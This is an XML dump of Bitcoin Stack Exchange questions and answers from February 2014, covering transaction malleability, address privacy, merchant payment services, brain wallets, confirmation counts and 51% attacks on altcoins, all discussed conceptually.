  <row Id="22272" PostTypeId="2" ParentId="22157" CreationDate="2014-02-16T20:31:14.823" Score="1" Body="&lt;p&gt;You can get...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;difficulty from: &lt;a href=&quot;http://blockexplorer.com/q/getdifficulty&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getdifficulty&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;reward per block from: &lt;a href=&quot;http://blockexplorer.com/q/bcperblock&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/bcperblock&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;exchange rate from: &lt;a href=&quot;http://api.bitcoincharts.com/v1/weighted_prices.json&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/weighted_prices.json&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;or from: &lt;a href=&quot;http://api.bitcoincharts.com/v1/markets.json&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/markets.json&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might want to read &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See list of other bitcoin stats &lt;a href=&quot;http://blockexplorer.com/q&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13544" LastActivityDate="2014-02-16T20:31:14.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22273" PostTypeId="2" ParentId="22269" CreationDate="2014-02-16T20:33:37.260" Score="2" Body="&lt;p&gt;An FPGA can do anything, by definition (Field Programmable Gate Array) they can run any bitstream you care to write for a specific task. The BIP0032 wallets you're thinking of however are 128bit keys with significant key stretching, so not a chance in hell will you ever crack one. That's by design. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-16T20:33:37.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22274" PostTypeId="2" ParentId="22259" CreationDate="2014-02-16T20:40:36.067" Score="1" Body="&lt;p&gt;It's not an appreciable issue. If somebody has physical access to a a miners server rack, it's game over no matter what &quot;memory encryption&quot; is used. As for the attack specifically, I doubt it's ever been used outside of security demonstrations and high level infiltration rather than something as completely insignificant as Bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-02-16T20:55:19.590" LastActivityDate="2014-02-16T20:55:19.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22275" PostTypeId="1" CreationDate="2014-02-16T20:52:48.310" Score="1" ViewCount="571" Body="&lt;p&gt;I'm trying to figure out why a merchant would ever choose bitpay over coinbase as an integration solution.  It seems they offer very similar services (accept bitcoin payments, exchange for dollars automatically daily and deposit into your bank account), yet BitPay charges 1% and Coinbase nothing.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-02-16T22:48:46.573" Title="What's the advantage of bitpay over coinbase for a merchant solution?" Tags="|coinbase.com|bitpay|merchant-services|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22276" PostTypeId="1" CreationDate="2014-02-16T21:03:19.113" Score="5" ViewCount="606" Body="&lt;p&gt;I understand that the data included in a transaction signature is not exactly the same as the data included in a transaction hash, but why was it designed this way?  I don't see any advantage in just making the data set the same for both purposes and there are apparently a lot of drawbacks.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2014-02-17T00:40:23.823" LastActivityDate="2014-04-16T17:10:50.183" Title="Why was transaction malleability ever allowed?" Tags="|transactions|transaction-malleability|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22277" PostTypeId="2" ParentId="22259" CreationDate="2014-02-16T21:30:46.877" Score="0" Body="&lt;p&gt;This kind of attack would be hard to pull of due to the nature of Bitcoin and if you are capable of accessing the physical machine why not just steal it and mine with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard because what is there to steal? You can steal the solution to a new block but you will have to work very quickly. As soon as a miner finds a solution there are only a few milliseconds before the block is hammered out and sent out to the network. When it reaches a node it can be considered a &quot;game over&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to act fast, say you detected the machine sending a completed block and managed to make sure the block never propagated beyond the machine. You'd be racing against the Bitcoin network, they &lt;strong&gt;will&lt;/strong&gt; find a solution if you don't. It's possible that miners will find a solution within minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possibly disconnect it's connection to the internet but that will only disrupt the pool the physical machine is most likely participating in. It won't be able to complete it's own share and that's the end of it.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-16T21:30:46.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22278" PostTypeId="2" ParentId="22275" CreationDate="2014-02-16T22:48:46.573" Score="2" Body="&lt;p&gt;I would encourage you to look at the customer reviews of each service.  BitPay is definitely a stronger and more reliable platform, and is fully &quot;on-blockchain&quot; and compatible with all of the bitcoin wallets.  For a low-volume use case, like a few orders per day, probably either service will work.  For higher volumes, BitPay is more business-grade, with features like Quickbooks import.&lt;/p&gt;&#xA;" OwnerUserId="13547" LastActivityDate="2014-02-16T22:48:46.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22279" PostTypeId="2" ParentId="22276" CreationDate="2014-02-16T22:54:27.190" Score="4" Body="&lt;p&gt;The problem is that &quot;transaction&quot; refers to two different things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The actual monetary transaction: address A sends something to address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The collection of bytes sent to the network expressing the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction malleability is possible because there isn't a unique way to express 1. You can express it with two different scripts that do the same thing, and therefore cause the collections of bytes in 2 to have different hashes. Transaction malleability is a consequence of the bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;scripting&lt;/a&gt; flexibility. To understand this in more detail, read this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-transaction-malleability.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/bitcoin-transaction-malleability.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2014-02-16T22:54:27.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22280" PostTypeId="2" ParentId="20356" CreationDate="2014-02-16T23:17:28.640" Score="5" Body="&lt;p&gt;A fee is charged over the filled portion. Either the whole order or partial.&#xA;If an order was cancelled before a trade took place (0% filled), no fee is charged.&#xA;If an order was cancelled after a portion was already filled, the remaining part is cancelled and no fee is charged over the remaining. &lt;/p&gt;&#xA;" OwnerUserId="13339" LastActivityDate="2014-02-16T23:17:28.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22281" PostTypeId="2" ParentId="22276" CreationDate="2014-02-17T00:24:42.557" Score="7" Body="&lt;p&gt;Bitcoin transactions are intentionally malleable. Some forms of malleability are a feature, and by design. Many of the more advanced uses of Bitcoin transactions (see the Contracts wiki page) rely on the ability to modify transactions in specific - and limited - ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the current problems are unrelated, and because of unintentional malleabilities. Several are known (and have been known for years). Making them impossible requires changes to the protocol, to validation software and to wallets, so cannot be done very quickly. In fact, the reference client version 0.8 (released almost a year ago) made some types of malleability already non-standard, with the hope of someday being able to add a strict network rule to forbid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why the transaction signatures do not sign the full transaction hash, is because that would require knowing the signature before signing. The signature is part of the transaction, so it influences the transaction hash. Because of the design of the scripting language, it however signs less than just not the signatures. This is the source of many (but not all) malleabilities. Some are due to ways in which the signature itself can be modified without invalidating it.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-17T00:24:42.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22283" PostTypeId="2" ParentId="20310" CreationDate="2014-02-17T03:07:04.570" Score="0" Body="&lt;p&gt;Individual clients could do this; if they select an (arbitrary) starting block, and calculate the location of all the bitcoins at that time, they could start off from there. They would be unable to see transactions that happened before this, of course, but they would know all the balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, as I write this, we are at block 286293; I could call this my &quot;first&quot; block (after verifying every transaction leading up to it), with a &quot;starting block hash&quot; of  0000000000000000258d8d361e9510df41e6da81751c98134083bf167088390 and make a list of all the balances so far. My software would be completely compatible with all other bitcoin software, except that it takes on faith that this is the starting block, and it would be unable to view prior transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does depend on there not being a fork (or, at least, not being on the wrong side of the fork) at the new starting block. For this reason, I would expect such a block chosen would not be the most recent block, but, say, one that is a few days old. You would, of course, be depending absolutely on the trustworthiness of the starting block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most software already does a variation of this to save having to process the entire blockchain for every transaction it sees.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-02-17T03:15:19.630" LastActivityDate="2014-02-17T03:15:19.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22284" PostTypeId="1" AcceptedAnswerId="22285" CreationDate="2014-02-17T03:18:47.153" Score="0" ViewCount="356" Body="&lt;p&gt;I am using &lt;a href=&quot;https://blockchain.info/wallet/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain wallet&lt;/a&gt; to store some BTCs. Blockchain allows us to create multiple addresses as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ZW9t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I give two different addresses in the same account to someone, will he be able to identify that both of the addresses belong to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, without the image above, if I tell you the addresses:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/17bbyAreAzGhenHspBCC6uDmUvqpbHWDF7&quot; rel=&quot;nofollow noreferrer&quot;&gt;17bbyAreAzGhenHspBCC6uDmUvqpbHWDF7&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/12oVDoEA2DFX84LbVPZ3ZXA7U67JLFmWzX&quot; rel=&quot;nofollow noreferrer&quot;&gt;12oVDoEA2DFX84LbVPZ3ZXA7U67JLFmWzX&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1GQME6s1AmPPEYWz2KSuKsCsPp5DDZTCRY&quot; rel=&quot;nofollow noreferrer&quot;&gt;1GQME6s1AmPPEYWz2KSuKsCsPp5DDZTCRY&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1Ptxf11p5ZgM4UB7kSSZJ2y68gVPsgUHin&quot; rel=&quot;nofollow noreferrer&quot;&gt;1Ptxf11p5ZgM4UB7kSSZJ2y68gVPsgUHin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/13v5W1QN1uR7ndzvfN3JAnVa8wHJcGHhTQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;13v5W1QN1uR7ndzvfN3JAnVa8wHJcGHhTQ&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1B9j5KLD1mXRcbDDYRxSXn1SwU1BtCZfZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;1B9j5KLD1mXRcbDDYRxSXn1SwU1BtCZfZ&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will you know that at least two of the addresses are owned by the same person?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2014-02-17T19:57:07.393" Title="Can people associate one blockchain address with another?" Tags="|address|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22285" PostTypeId="2" ParentId="22284" CreationDate="2014-02-17T03:48:10.433" Score="1" Body="&lt;p&gt;Edit: I have reorganised this post, but it has mostly the same information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leakage falls roughly into the following categories: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hacking of the server that stores your data, &lt;/li&gt;&#xA;&lt;li&gt;transfer patterns&lt;/li&gt;&#xA;&lt;li&gt;currency patterns&lt;/li&gt;&#xA;&lt;li&gt;weak random numbers &lt;/li&gt;&#xA;&lt;li&gt;well known addresses&lt;/li&gt;&#xA;&lt;li&gt;voluntary disclosure&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there has never been a transaction on a particular address, and the server has no been hacked, there is no information at all about that address. It is not even possible to verify if someone has that account or not. The only thing you can do is verify is if it is a valid address or not. In fact, it is possible to generate an address on a computer that is not on the internet at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an address RECEIVES bitcoin, it is possible to see (from the blockchain) where (the address, not physical location) the money came from, directly and indirectly and all other transactions relating to those addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some addresses are well known, so if you get your money from mtgox, or a gambling site, this will show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction is a round number it may be possible to determine the currency with a reasonable amount of confidence. For example if I see a transaction for 350.877193mc right now, I would expect that someone paid US$100 for it at the mtgox exchange rate, rather than Canadian $119.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the account was generated with weak random numbers, it may be possible (though difficult) to determine information about the computer used to generate it (it would be equally possible to determine the private key and steal the funds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If money gets moved through several accounts very quickly, then I can deduce with pretty high reliability that all the transactions are under the control of the same person, or that there is an automated system involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, if money gets sent in one transaction to more than 2 destination accounts, it's pretty likely that all destination accounts (and probably the source account) are controlled by the same person. The same applies (a little less reliably) if ALL the funds of a particular account are sent to the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regular &quot;purchase&quot; transactions consist of money from one (or possibly 2) accounts going to exactly 2 destinations - one of the destinations being the &quot;change&quot; (which may or may not go to the account that it came from). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if a third party that keeps your account gets hacked or the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;voluntary disclosure is just you publish the address on your blog or the like.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-02-17T19:57:07.393" LastActivityDate="2014-02-17T19:57:07.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22286" PostTypeId="1" CreationDate="2014-02-17T06:21:22.647" Score="5" ViewCount="974" Body="&lt;p&gt;Please correct me if I am wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty constantly changes according to the current hash rate. It changes to ensure that a block is mined every 10 minutes. If the hash rate was 1000 TH/s and a pool contributed 1000 GH/s, then that pool should theoretically be getting 0.1% of the coins being mined. Now say, hypothetically, that 90% of the network hashrate were actually rerouted to mine another SHA256 coin. If every pool and solo miner was reduced to 10% contribution to bitcoin mining, the payout percentage (and ultimately absolute payout) should remain the same. (100 GH/s)/(100 TH/s) = 0.1%. I am of course assuming that payouts work in this linear manner; I am not sure if they do. Now the other 90% of the network hashrate could be essentially one big pool mining another coin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing bitcoin and peercoin:&#xA;28,780.806 GH/s&#xA;151.079 TH/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.90*28781)/(.90*28781+151) = &gt;99%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why then couldn't bitcoin be rerouted to do 51% attacks on various SHA256 coins until people leave each of those communities and move onto other coins until bitcoin is the only SHA256 coin left? Likewise, this could be done with scrypt coins as well, but each in its respective sector. My first assumption is that this is not possible, or else it would be used already.&lt;/p&gt;&#xA;" OwnerUserId="13555" LastEditorUserId="5406" LastEditDate="2016-04-10T10:31:13.993" LastActivityDate="2016-04-10T10:31:13.993" Title="Can the bitcoin network hashrate be used for a 51% attack on other coins?" Tags="|altcoin|mining-theory|sha256|majority-attack|weaknesses|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22287" PostTypeId="1" AcceptedAnswerId="22290" CreationDate="2014-02-17T07:39:31.600" Score="2" ViewCount="212" Body="&lt;p&gt;I know I should be thankful for free money. But sometimes it might come from an undesirable source. Is there a way of preventing unwanted credits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could look at the block chain and pay it straight back...&lt;/p&gt;&#xA;" OwnerUserId="5450" LastActivityDate="2014-02-18T00:54:12.850" Title="Is there a way to stop someone from giving me bitcoins to an address that I own" Tags="|payment|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-19T22:31:27.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="22288" PostTypeId="2" ParentId="22286" CreationDate="2014-02-17T07:58:45.667" Score="5" Body="&lt;p&gt;You could easy manipulate a pool to wreck havoc on other SHA256 coins if you owned it or managed to gain access. You don't even need to be a large pool, some altcoins are really small and vulnerable. It has affected other coins before, where a pool or a large miner created trouble solely by mining a smaller altcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/feathercoin-hit-by-massive-attack/&quot;&gt;Feathercoin hit by massive attack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only thing that prevents this regularly happening is that is isn't profitable to attack small crypto-currencies and in fact devalues whatever you make in the end.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="5406" LastEditDate="2014-02-17T08:17:37.343" LastActivityDate="2014-02-17T08:17:37.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22289" PostTypeId="1" CreationDate="2014-02-17T08:46:40.503" Score="2" ViewCount="524" Body="&lt;p&gt;That may sound like a silly question, but if I have created my keys using a passphrase in “brain wallet” at bitaddress.org, why do I need to record the private key, if I can recreate it at any time by using my downloaded version of bitaddress.org?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be sure that I can do that safely, I need to know whether the algorithm to generate a private key from a passphrase with a downloaded copy of bitaddress.org is deterministic.&lt;/p&gt;&#xA;" OwnerUserId="13433" LastEditorUserId="13433" LastEditDate="2014-02-17T11:20:20.303" LastActivityDate="2014-02-17T22:26:37.227" Title="Is it safe not to record private keys for paper wallets?" Tags="|private-key|paper-wallet|bitaddress.org|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22290" PostTypeId="2" ParentId="22287" CreationDate="2014-02-17T08:53:52.653" Score="2" Body="&lt;p&gt;No, there is no way to block people sending you bitcoins.  You could, however, send the bitcoins back to the sender.  In fact, you can redeem the transaction output created by the sender in a new transaction, created by you, back to the sender.  This would show that precisely these funds (not just funds to the same amount) were transferred back to the sender.&lt;/p&gt;&#xA;" OwnerUserId="13502" LastActivityDate="2014-02-17T08:53:52.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22292" PostTypeId="2" ParentId="22263" CreationDate="2014-02-17T09:04:27.853" Score="1" Body="&lt;p&gt;The calculation of the balance of a public address is not part of transaction validation.  In order for a transaction to be considered valid, it must redeem unspent transaction outputs.  Transaction outputs are always redeemed entirely, so there is no need to calculate the balance of a public address, only to check that these outputs have not been redeemed (spent) before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the scalability of balance calculation is not an issue that affects the processing of payments.  That said, each bitcoin node still must remember the list of unspent transaction outputs.&lt;/p&gt;&#xA;" OwnerUserId="13502" LastActivityDate="2014-02-17T09:04:27.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22293" PostTypeId="1" AcceptedAnswerId="22294" CreationDate="2014-02-17T09:24:24.020" Score="0" ViewCount="133" Body="&lt;p&gt;I'm quite new to bitcoin. I've been compiling the client from github and I want to run on a server as testnet and make some API requests. As I see in the documentation I should create a bitcoin.conf file. But where do I create this in case of compiled client&lt;/p&gt;&#xA;" OwnerUserId="13558" LastActivityDate="2014-02-17T13:28:37.210" Title="Compiled Bitcoin Client as Testnet with bitcoin.conf" Tags="|client|api|bitcoin.conf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22294" PostTypeId="2" ParentId="22293" CreationDate="2014-02-17T09:32:56.003" Score="1" Body="&lt;p&gt;The location of your bitcoin.conf file depends on your operating system: &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also pass any configuration value as command line argument.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-02-17T09:32:56.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22295" PostTypeId="1" CreationDate="2014-02-17T11:59:34.287" Score="4" ViewCount="1084" Body="&lt;p&gt;I received a transaction such as below: (I changed the actual numbers but the format is exactly the same)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;amount&quot; : 0.3,&#xA;&quot;confirmations&quot; : 739,&#xA;&quot;blockhash&quot; : &quot;0000000000000000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;,&#xA;&quot;blockindex&quot; : 390,&#xA;&quot;blocktime&quot; : 1392284453,&#xA;&quot;txid&quot; : &quot;aaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbxxxxxxxxxxxxxxxxxxxx&quot;,&#xA;&quot;time&quot; : 1388888888,&#xA;&quot;timereceived&quot; : 1388888888,&#xA;&quot;details&quot; : [&#xA;{&#xA;&quot;account&quot; : &quot;abc&quot;,&#xA;&quot;address&quot; : &quot;address1&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.1&#xA;},&#xA;{&#xA;&quot;account&quot; : &quot;abc&quot;,&#xA;&quot;address&quot; : &quot;address1&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.2&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check this transaction on blockchain.info. The site shows a single output to &quot;address1&quot; and the amount is 0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to replicate this situation with QT using Add Recipient, it does not allow me to enter the same address twice. I assume the sender was able to do this using sendrawtransaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal? Is it a non-standard transaction? Shouldn't this transaction be rejected by miners?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-02-17T12:08:34.050" LastActivityDate="2022-02-27T21:37:24.473" Title="How can there be multiple outputs with same address in the same transaction?" Tags="|transactions|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22296" PostTypeId="1" AcceptedAnswerId="22307" CreationDate="2014-02-17T12:11:12.403" Score="3" ViewCount="527" Body="&lt;p&gt;The general consensus in the Bitcoin network is to wait for 6 confirmations or 1 hour on a transaction before it can be considered completely irreversible. However, when it comes to altcoins that use different block generation rate, some people go with ~6 confirmations, while others use ~1 hour worth of blocks as the standard confirmation model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there is any consensus on which approach is more proper? Assuming the altcoin network in question is under no threat of a 51% attack, should companies under a risk of theft attempts (say, exchanges) wait for about 6 confirmations regardless of the block generation rate, about 1 hour worth of confirmations also disregarding the generation rate, or for the higher of 6 of 1 hour worth of confirmations if blocks are generated slower than 1 block per 10 minutes?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:42:45.997" LastActivityDate="2021-03-06T19:42:45.997" Title="Altcoin confirmations and safety - wait ~6 confirmations, or ~1 hour?" Tags="|altcoin|confirmations|safety|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22297" PostTypeId="2" ParentId="22295" CreationDate="2014-02-17T12:34:12.817" Score="3" Body="&lt;p&gt;It definitely seems weird to have two outputs towards the same address, but if it was picked up by your bitcoind node, then miners will probably accept it, because they're also using bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to read the raw scripts of the outputs. Most likely, as you say, it was created by someone using the raw commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One scenario that I could think for someone doing this is that &lt;strong&gt;you'd want the receiver to claim the outputs in separate transactions&lt;/strong&gt;. If there was a single 0.3 output, the receiver would need to claim all 0.3 to use them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not sure when this would be useful.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-17T12:34:12.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22298" PostTypeId="2" ParentId="22293" CreationDate="2014-02-17T13:28:37.210" Score="0" Body="&lt;p&gt;The bitcoin.conf file has to be created within the .bitcoin folder.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-02-17T13:28:37.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22300" PostTypeId="2" ParentId="22296" CreationDate="2014-02-17T13:44:44.303" Score="1" Body="&lt;p&gt;If you look at the bitcoin protocol specification the calculation of 6 confirmations are considered very unlikely to reverse (even with over 51% of the network hash power) &#xA;In the case of bitcoin (10 min blocks) 6 confirmations is one hour, with QRK for example (30 sec blocks) its 3 min, if you wait one hour you get to 120 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question we should also add the difficulty factor which will reflect the processing power put in to the mining process, the more processing effort put in to mining by the network the more processing power a single attacker will need to be able to get to 51% if the difficulty is high one could assume less confirmations are safer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's just my opinion based on my current understanding.&lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2014-02-17T13:44:44.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22301" PostTypeId="2" ParentId="12265" CreationDate="2014-02-17T14:14:41.167" Score="0" Body="&lt;p&gt;You can set the &lt;code&gt;addnode=IP-OF-A-NODE&lt;/code&gt; in the bitcoin.conf file, you can get nodes from &lt;a href=&quot;https://blockchain.info/hub-nodes&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/hub-nodes&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve your issue first make sure that you firewall and pc config is correct to be sure that the issue is related to the bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-02-17T14:14:41.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22303" PostTypeId="2" ParentId="22168" CreationDate="2014-02-17T14:53:06.567" Score="2" Body="&lt;p&gt;It is a hash of the transaction without the input scripts.  SIGHASH_ALL says all inputs and outputs are included in the hash.  These are the areas covered by the standard payment methods and they cannot be modified without invalidating the transaction.  One of the problems, though, is that there are other payment methods which do change the inputs and thus the normalized transaction ID would change in those cases.  But it does cover the common transactions.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-17T14:53:06.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22304" PostTypeId="1" CreationDate="2014-02-17T15:19:59.900" Score="3" ViewCount="199" Body="&lt;p&gt;Assume I'm using the original client to receive payments. Is the following scenario possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet gets notified of unconfirmed transaction with id 12 in which one of the outputs is an address that belongs to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone changes the id of the transaction to 13 and relays it to the miner who finds the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet gets notified of block that contains transaction with id 13 in which one of the outputs is an address that belongs to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction with id 13 gets 6 confirmations but transaction with 12 gets stuck in my wallet as an unconfirmed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm showing my customers their unconfirmed transactions, then the customer will see a confirmed transaction with id 13 and an unconfirmed transaction with id 12. Is that correct? Or will QT automatically delete the first transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-02-18T15:54:36.470" Title="Is transaction malleability an issue when receiving payments?" Tags="|transactions|bitcoin-core|transaction-malleability|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
